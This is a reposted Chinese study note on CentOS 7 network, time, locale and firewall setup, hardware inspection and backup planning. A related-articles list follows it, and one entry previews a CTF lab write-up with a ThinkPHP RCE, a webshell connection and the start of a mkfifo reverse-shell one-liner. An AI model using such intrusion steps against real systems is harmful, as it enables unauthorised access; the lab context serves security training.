Linux(19):基础系统设定与备份策略

系统基本设定

网络设定(手动设定与 DHCP 自动取得)

通常网络参数的取得方式常见的有底下这几种:
1.手动设定固定 IP
常见于学术网络的服务器设定、公司行号内的特定座位等。这种方式你必须要取得底下的几个参数才能够让你的 Linux 上网的:
-IP
-子网掩码(netmask);
-通讯闸(gateway)
-DNS主机的IP(通常会有两个)

2.网络参数可自动取得(dhcp 协议自动取得)
常见于 IP 分享器后端的主机,或者是利用电视线路的缆在线网(cable modem),或者是学校宿舍的网络环境等。这种网络参数取得方式就被称为dhcp。

3.光纤到家与 ADSL 宽带拨接
不论 IP 是固定的还是每次拨接都不相同(被称为浮动式IP),只要是透过光纤到家或宽带调制解调器【拨接上网】的,就是使用这种方式。拨接上网虽然还是使用网络卡连接到调制解调器上,不过,系统最终会产生一个替代调制解调器的网络接口 (ppp0),那个 ppp0也是一个实体网络接口。

CentOS 7 对于网卡的编号的规则:
eno1:代表由主板 BIOS内建的网卡;
ens1:代表由主板 BIOS内建的 PCI-E界面的网卡;
enp2s0:代表 PCI-E 界面的独立网卡,可能有多个插孔,因此会有s0, s1…的编号~
eth0:如果上述的名称都不适用,就回到原本的预设网卡编号。

【ifconfig -a】可以将网卡全部列出。

手动设定 IP 网络参数

假设已经向 ISP (Internet Service Provider) 取得网络参数,基本上的网络参数需要这些数据的:
method:manual (手动设定);
IP:172.16.1.1;
netmask:255.255.0.0;
gateway: 172.16.200.254;
DNS: 172.16.200.254;
hostname:study.centos.feng

nmcli 是透过一个名为【联机代号】的名称来设定是否要上网,而每个【联机代号】会有个【网卡代号】,这两个东西通常设定成相同。

nmcli connection show [网卡代号]

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
IP4,IP6 指的是目前的实际使用的网络参数,最上面的 connection 开头的部份则指的是联机的状态。
比较重要的几个参数:
connection.autoconnect [yes|no]:是否于开机时启动这个联机,预设通常是 yes 才对;
ipv4.method [auto/manual]:自动还是手动设定网络参数的意思;
ipv4.dns [dns_server_ip]:就是填写 DNS 的IP地址;
ipv4.addresses [IP/Netmask]:就是 IP 与 netmask 的集合,中间用斜线/来隔开;
ipv4.gateway [gw_ip]:就是 gateway 的IP地址。

可以使用 nmcli 设定网络参数。设定完毕后,实际生效还得要启动(up)。

nmcli connection up [网卡代号]

自动取得 IP 参数

如果网络是由自动取得的 DHCP 协议所分配的,只需要知道 ipv4.method 那个项目填成 auto即可。

在这里插入图片描述

修改主机名

主机名的修改就得要透过 hostnamectl 这个指令来处理。
在这里插入图片描述
hostnamectl set-hostname [主机名]

日期与时间的设定

时区的显示与设定

timedatectl [command]

在这里插入图片描述
在这里插入图片描述

时间的调整
时间的格式可以是【yyyy-mm-dd HH:MM】的格式。

timedatectl set-time "2023-12-10 20:15"

用 ntpdate 手动网络校时
手动网络校时透过 ntpdate 这个指令即可。

ntpdate tock.stdtime.gov.tw

tock.stdtime.gov.tw指的是台湾地区国家标准实验室提供的时间服务器。
至于 hwclock 则是将正确的时间写入 BIOS时间记录内。如果确认可以执行,未来应该可以使用 crontab来更新系统时间。

hwclock -w

语系设定

LANG 与 locale 的指令能够查询目前的语系数据与变量,/etc/locale.conf 其实就是语系的配置文件。
系统的语系与目前软件的语系数据可能是可以不一样的。如果想要知道目前【系统语系】的话,除了呼叫配置文件之外,也能够使用 localectl 来查阅。

在这里插入图片描述

防火墙简易设定

防火墙其实是一种网络数据的过滤方式,它可以依据服务器启动的服务来设定是否放行,也能够针对信任的用户来放行。
由于目前 CentOS 7 的预设防火墙机制为 firewalld,他的管理界面主要是透过指令列 firewall-cmd 这个详细的指令。

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
组态:【执行时期】与【永久记录】的差异
基本上,防火墙的规则拟定大概有两种情况,一种是【暂时用来执行】的规则,一种则是【永久记录】的规则。一般来说,刚刚启动防火墙时,这两种规则会一模一样。不过,后来可能会暂时测试而加上几条规则,如果该规则没有写入【永久记录】区的话,那下次重载防火墙时,该规则就会消失。
不要只是在运行时间增加规则设定,而是必须要在永久记录区增加规则才行。

区域(zone):依据不同的环境所设计的网络界域(zone)
早期的 iptables 防火墙服务,所有的规则都得要自己手动来撰写,然后规则的细分得要自己去规划,所以很可能会导致一堆无法理解的规则。
新的 firewalld 服务就预先设计这些可能会被用到的网络环境,里面的规则除了public(公开网域)这个界域(zone)之外,其它的界域则暂时为没有启动的状况。因此,在预设的情况下,只要考虑 public 那个项目即可。

相关设定项目
防火墙规则通常需要设定的地方有:
服务:一般来说,如果 Linux server 是作为 Internet 的服务器,提供的是比较一般的服务,那么只要
处理【服务】项目即可。预设服务器已经提供了 ssh 与 dhcpv6-client 的服务埠口;
端口:如果提供的服务所启用的埠口并不是正规的埠口。那如果想要让人家连进来,就不能只开放上面的【服务】项目,连这个【端口】的地方也需要调整才行。另外,如果有某些比较特别的服务是 CentOS 预设没有提供的,所以【服务】当然也就没有存在。这时也可以直接透过端口来搞定它;
丰富规则(rich rule):如果有【整个网域】需要放行或者是拒绝的时候,那么前两个项目就没有办法适用,这时就得要这个项目来处理了。
界面:就是这个界域主要是针对哪一个网络卡来做规范的意思;

服务器硬件数据的收集

以系统内建 dmidecode 解析硬件设备

系统有个名为 dmidecode 的软件,它可以解析CPU型号、主板型号与内存相关的型号等等。

dmidecode -t type

在这里插入图片描述
列出整个系统的硬件信息:
在这里插入图片描述

硬件资源的收集与分析

Linux kernel 在开机时就能够侦测主机硬件并加载适当的模块来驱动硬件了。而核心所侦测到的各项硬件装置,后来就会被记录在 /proc 与 /sys 当中了。包括 /proc/cpuinfo, /proc/partitions, /proc/interrupts 等等。

其实核心所侦测到的硬件可能并非完全正确。因为他仅是【使用最适当的模块来驱动这个硬件】而已,所以有时候难免会误判啦(虽然机率非常之低)。

除了直接呼叫出 /proc 底下的文件内容之外, Linux有提供几个简单的指令来将核心所侦测到的硬件叫出来:
gdisk:可以使用 gdisk -l 将分区表列出;
dmesg:观察核心运作过程当中所显示的各项讯息记录;
vmstat:可分析系统(CPU/RAM/IO)目前的状态;
lspci:列出整个 PC 系统的 PCI 接口装置;
lsusb:列出目前系统上面各个USB端口口的状态,与连接的USB装置;
iostat:与vmstat类似,可实时列出整个CPU 与接口设备的Input/Output状态。

lspci

lspci [-vvn]

在这里插入图片描述在这里插入图片描述不必加上任何选项,就能够显示出目前的硬件配备为何。如果想要了解某个设备的详细信息时,可以加上 -v 或 -vv 来显示更多的信息。

lspci -s 00:01.0 -vv

-s 后面接的那个怪东西每个设备的总线、插槽与相关函数功能。
使用 lspci 时,所有的数据都是由 /proc/bus/pci/ 目录下的数据所取出的。不过,由于硬件的发展太过迅速,防止 pci.ids 可以使用命令在线更新对应的文档:update-pciids

lsusb
系统接了多少个USB 装置:

lsusb [-t]
# -t:使用类似树状目录来显示各个 USB 端口口的相关性。

在这里插入图片描述
iostat

iostat [-c|-d] [-k|-m] [-t] [间隔秒数] [侦测次数]

在这里插入图片描述在这里插入图片描述在这里插入图片描述

了解磁盘的健康状态

smartd 服务可以查询磁盘好坏。
在这里插入图片描述

备份要点

具有备份意义的 Linux 数据

具有备份意义的文件通常可以粗分为两大类,一类是系统基本设定信息、一类则是类似网络服务的内容数据。
操作系统本身需要备份的文件:
这方面的文件主要跟【账号与系统配置文件】有关系。
主要的需要备份的账号的文件呢:/etc/passwd,/etc/shadow,/etc/group,/etc/gshadow,/home底下的用户家目录等等,而由于Linux预设的重要参数档都在 /etc/ 底下,所以只要将这个目录备份下来的话,那么几乎所有的配置文件都可以被保存的。
至于 /home 目录是一般用户的家目录,自然也需要来备份;由于使用者会有邮件,所以】 /var/spool/mail/ 内容也需要备份;另外,由于如果自行更动过核心,那么 /boot 里头的信息也就很重要。所以,操作系统本身的数据必须要备份的文件为:
/etc/ 整个目录;
/home/ 整个目录;
/var/spool/mail/;
/var/spoll/{atlcron}/;
/boot/;
/root/;
如果自行安装过其他的软件,那么 /usr/local /或 /opt 也最好备份一下。

网络服务的数据库方面:
首先是这些网络服务软件的配置文件部分,如果网络软件安装都是以原厂提供的为主,那么配置文件案大多是在 \etc 底下;若套件大多来自于自行的安装,那么 /usr/local这个目录可就相当的重要了。此外,使用者主动提供的文件,以及服务运作过程会产生的数据,都需要被考虑来备份。
若假设提供的服务软件都是使用原厂的 RPM 安装的。所以要备份的数据文件有:
软件本身的配置文件案,例如:/etcl整个目录,/usr/local/ 整个目录;
软件服务提供的数据,以 WWW 及 Mariadb 为例;
WWW资料:/var/www 整个目录或 /srv/www 整个目录,及系统的用户家目录;
Mariadb:/var/lib/mysql 整个目录;
其他在 Linux主机上面提供的服务之数据库文件。

推荐需要备份的目录:
如果硬件或者是由于经费的关系而无法全部的数据都予以备份时,至少需要备份这些目录:
/etc;
/home;
/root;
/var/spool/mail/, /var/spool/cron/, /var/spool/at/;
/var/lib/;

不需要备份的目录:
/dev:这个随便要不要备份;
/proc,/sys,/run:这个真的不需要备份啦!
/mnt,/media:如果没有在这个目录内放置自己系统的东西,也不需要备份;
/tmp:存暂存档不需要备份;

备份用储存媒体的选择

在备份的时候,选择一个【数据存放的地方】也是很需要考虑的一个因素。

异地备援系统
【异地备援系统】:将系统数据【备份】到其他的地方去。
缺点就是带宽严重的不足。在这种状态下,所能采取的策略大概就是【仅将最重要的数据给他传输回去】。

储存媒体的考虑
【近端的装置来备份】
过去使用的储存媒体可能有 Tape, Mo, Zip, CD-RW, DVD-RW,外接式磁盘等等。近年来由于磁盘容量不断上提,加上已经有便宜的桌上型 NAS储存设备,这些 NAS储存设备就等于是一部小型Linux server,里面还能够提供客制化的服务,可能提供硬件或软件的磁盘阵列,包括不同的连接界面与传输协议。

备份的种类、频率与工具的选择

完整备份之累积备份(Incremental backup)

如果主机是负责相当重要的服务,因此如果有不明原因的当机事件造成系统损毁时,希望在最短的时间内复原系统。此时,如果仅备份关键数据时,那么得要在系统出错后,再去找新的 Linux distribution 来安装,安装完毕后还得要考虑到数据新旧版本的差异问题,还得要进行数据的移植与系统服务的重新建立等等,等到建立妥当后,还得要进行相关测试。这种种的工作需要耗费大量的时间。所以,仅有关键数据是不够的。
完整备份的话:若硬件出问题导致系统损毁时,只要将完整备份拿出来,整个给他倾倒回去硬盘,所有事情就搞定了。有些时候(例如使用dd 指令)甚至连系统都不需要重新安装。

完整备份就是将根目录(/)整个系统通通备份下来的意思。在某些场合底下,完整备份也可以是备份一个文件系统(filesystem)。

累积备份的原则

虽然完整备份在还原方面有相当良好的表现,但是系统用的越久,数据量就会越大。如此一来,完整备份所需要花费的时间与储存媒体的使用就会相当麻烦。所以,完整备份并不会也不太可能每天都进行的。
如果每天都备份数据有两种方式:累积备份与差异备份。

所谓的累积备份,指的是在系统在进行完第一次完整备份后,经过一段时间的运作,比较系统与备份文件之间的差异,仅备份有差异的文件而已。而第二次累积备份则与第一次累积备份的数据比较,也是仅备份有差异的数据而已。如此一来,由于仅备份有差异的数据,因此备份的数据量小且快速!备份也很有效率。
在这里插入图片描述累积备份的还原方面比较麻烦:依次还原累积备份的数据,才是最完整的还原程序。

完整备份常用的工具有 dd, cpio, xfsdump/xfsrestore 等等。因为这些工具都能够备份装置与特殊文件。
dd 可以直接读取磁盘的扇区 (sector) 而不理会文件系统,是相当良好的备份工具,不过缺点就是慢很多;cpio 是能够备份所有档名,不过,得要配合 find 或其他找文件名的指令才能够处理妥当。以上两个都能够进行完整备份,但累积备份就得要额外使用脚本程序来处理。
可以直接进行累积备份的就是 xfsdump 这个指令。

完整备份之差异备份(Differential backup)

差异备份与累积备份有点类似,也是需要进行第一次的完整备份后才能够进行。
差异备份指的是:每次的备份都是与原始的完整备份比较的结果。所以系统运作的越久,离完整备份时间越长,那么该次的差异备份数据可能就会越大。
在这里插入图片描述
差异备份所使用的磁盘容量可能会比累积备份来的大,但是差异备份的还原较快,因为只需要还原完整备份与最近一次的差异备份即可。

关键数据备份

完整备份虽然有许多好处,但就是需要花费很多时间。所以,如果在主机提供的服务并不是一定要24小时提供的前提下,可以仅备份重要的关键数据即可。
关键数据备份不需要整个系统都备份。

灾难复原的考虑

硬件损毁,且具有完整备份的数据时
由于是硬件损毁,所以不需要考虑系统软件的不稳定问题,所以可以直接将完整的系统复原回去即可。
首先,必须要先处理好硬件,然后依据你的备份状态来复原。举例来说,如果是使用差异备份,那么将完整备份复原后,将最后一次的差异备份复原回去,系统就恢复了。

由于软件的问题产生的被攻破资安事件
由于系统的损毁是因为被攻击,此时即使恢复到正常的系统,那么这个系统依然会被攻破。所以,此时完整备份的复原可能不是个好方式。
最好是需要这样进行啦:
1.先拔除网络线,最好将系统进行完整备份到其他媒体上,以备未来查验;
2.开始查阅登录档,尝试找出各种可能的问题
3.开始安装新系统(最好找最新的distribution);
4.进行系统的升级,与防火墙相关机制的制订;
5.根据 2 的错误,在安装完成新系统后,将那些 bug 修复;
6.进行各项服务与相关数据的恢复;
7.正式上线提供服务,并且开始测试;

《鸟哥的Linux私房菜-基础篇》学习笔记

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/224579.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringBoot基础使用及对其他项目进行整合

目录 一、简介 1-讲述 2-特点 二、创建配置 1.创建 2.配置 3.代码生成 三、项目整合 每篇一获 一、简介 1-讲述 众所周知 Spring 应用需要进行大量的配置,各种 XML 配置和注解配置让人眼花缭乱,且极容易出错,因此 Spring 一度被称…

i春秋云镜之Initial

首先拿到目标IP:39.99.156.72 通过Fscan进行扫描发现存在Thinkphp RCE漏洞。 ./fscan_amd64 -h 39.99.156.72然后通过利用工具进行RCE。 我们进行getshell之后通过蚁剑进行连接。 反弹shell并转换成python 交互式shell。 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/b…

《儿童绘本》期刊杂志发表论文投稿

《儿童绘本》杂志是由国家新闻出版管理部门批准,由吉林省舆林报刊发展有限责任公司主管主办,国内外公开发行的全国优秀期刊。办刊宗旨:以“普及绘本知识、推动儿童阅读”为理念,带动家庭亲子阅读,推动阅读教育及图画书…

C语言刷题数组------数组交换

输入一个长度为 10的整数数组 X[10],将里面的非正整数全部替换为 1,输出替换完成后的数组。 输入格式 输入包含 10个整数,每个整数占一行。输出格式 输出新数组中的所有元素,每个元素占一行。输出格式为 X[i] x,其中…

根文件系统(一):基础

本文主要探讨210根文件系统相关知识。 根文件系统 存储设备(flash等)是分块(扇区),访问存储设备是按块号 (扇区号)来访问,文件系统(软件)对存储设备扇区进行管理,将对扇区的访问变成对目录和文件名的访问 根文件系统init进程的应用程序和其他应用程序,提供根目…

多家高校设立“鸿蒙班”;ChatGPT 成为 Nature 年度十大人物丨 RTE 开发者日报 Vol.107

开发者朋友们大家好: 这里是 「RTE 开发者日报」 ,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE (Real Time Engagement) 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文…

FPGA巩固基础:秒表的设计

设计要求: 6位8段数码管,低三位显示毫秒计数,最高位显示分钟,其余两位显示秒计数。 开始案件与暂停按键,复位按键直接全部归零。 扩展部分:每计满一次,led移位一次。 框图设计: …

linux 应用开发笔记---【信号:基础】

1.基本概念 信号是发生事件时对进程的通知机制,也可以称为软件中断 信号的目的是用来通信的 1.硬件发生异常,将错误信息通知给内核,然后内核将相关的信号给相关的进程 2.在终端输入特殊字符产生特殊信号 3.进程调用kill()将任意信号发送…

解决nuxt3环境中css样式失效的问题

现象: 底部播放器进度条拖动按钮没有了! 然后通过chrome开发工具检查html元素的结构: 发现progressbar这个元素是存在的,但是为什么没有显示呢,然后回到代码中: 发现原来是组件的名字写错了,多写了一个字母…

Leetcode 47 全排列 II

题意理解: 首先理解全排列是什么?全排列:使用集合中所有元素按照不同元素进行排列,将所有的排列结果的集合称为全排列。 这里的全排列难度升级了,问题在于集合中的元素是可以重复的。 问题:相同的元素会导致…

vivado约束方法5

打开向导时可用的报告功能 当定时约束向导打开时,它会阻止Vivado IDE中的大多数操作包括使用Tcl控制台或运行时序分析,以避免数据库差异。向导窗口始终位于其他Vivado IDE窗口的前面。如果你需要访问Vivado IDE菜单或窗口,必须将向导窗口移动…

推荐一个界面设计软件aardio,配合python三分钟制作一个小软件。【批量doc文件转docx文件】

文章目录 前言一、aardio软件代码二、python代码总结 前言 aardio这个软件不多说,好用方便。 一、aardio软件代码 import win.ui; /*DSG{{*/ mainForm win.form(text"批量doc文件转docx文件";right623;bottom171) mainForm.add( button{cls"butto…

DataFunSummit:2023年数据科学在线峰会-核心PPT资料下载

一、峰会简介 数据会说谎?如何正确的挖掘并使用数据?前沿的科学实验如何做?实验又是如何欺骗你的?数据中台如何发挥功效?用户增长有捷径吗?数据科学的最佳实践有哪些? 本次峰会共包含了&#…

人工智能与数据分析:新时代的趋势和机会

目录 写在开头1. 融合AI和数据分析的趋势1.1 趋势变化1.2 数据驱动目标转换 2 对数据分析行业的影响2.1 技能需求2.2 工作流程和角色的变化2.3 创新和业务驱动的数据分析 3.场景变化3.1 场景1:智能决策支持系统3.1.1 智能决策支持系统的架构设计3.1.2 Python代码演示…

RocketMQ —消费重试

消费者出现异常,消费某条消息失败时, Apache RocketMQ 会根据消费重试策略重新投递该消息进行故障恢复。本文介绍消费重试机制的原理、版本兼容性和使用建议。 一、应用场景​ Apache RocketMQ 的消费重试主要解决的是业务处理逻辑失败导致的消费完整性…

DICOM 文件中,VR,VL,SQ,图像二进制的几个注意点

DICOM 文件的结构,在网上有很多的学习资料,这里只介绍些容易混淆的概念,作为回看笔记。 1. 传输语法 每个传输语法,起都是表达的三个概念:大小端、显隐式、压缩算法 DICOM Implicit VR Little Endian: 1.2.840.1000…

解决VSCode打开终端Terminal闪退的问题

一、背景 在新电脑上使用了VSCode,但是一打开Terminal,Terminal马上就消失了,在网上找了很久,都没有找到对应的分析 二、解决思路 首先,是从这个文档中找到了灵感,这个文档里面汇集了大部分的问题&#…

孩子都能学会的FPGA:第三十二课——用FPGA实现一个通用的SPI主机发送模块

(原创声明:该文是作者的原创,面向对象是FPGA入门者,后续会有进阶的高级教程。宗旨是让每个想做FPGA的人轻松入门,作者不光让大家知其然,还要让大家知其所以然!每个工程作者都搭建了全自动化的仿…

二百一十五、Flume——Flume拓扑结构之复制和多路复用的开发案例(亲测,附截图)

一、目的 对于Flume的复制和多路复用拓扑结构,进行一个小的开发测试 二、复制和多路复用拓扑结构 (一)结构含义 Flume 支持将事件流向一个或者多个目的地。 (二)结构特征 这种模式可以将相同数据复制到多个channe…